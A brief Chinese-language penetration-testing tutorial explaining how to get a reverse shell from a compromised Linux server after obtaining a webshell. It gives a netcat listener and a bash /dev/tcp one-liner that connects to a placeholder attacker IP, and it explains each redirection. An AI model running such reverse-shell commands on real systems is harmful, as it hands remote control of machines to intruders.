在渗透过程中,在拿到webshell后,如果目标主机是Linux服务器,一般我们都会选择反弹shell以方便后续操作,在此总结下反弹shell的几种姿势。
0x01. Bash反弹
攻击者主机上执行监听:
nc -lvvp port
目标主机上执行:
bash -i >& /dev/tcp/x.x.x.x/port 0>&1
简单解释下:
- bash -i 打开一个交互的bash
- >& 将标准错误输出重定向到标准输出
- /dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口
- 0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互
注:
/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
linux shell下常用的文件描述符是:
1.标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
2.标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
3.标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。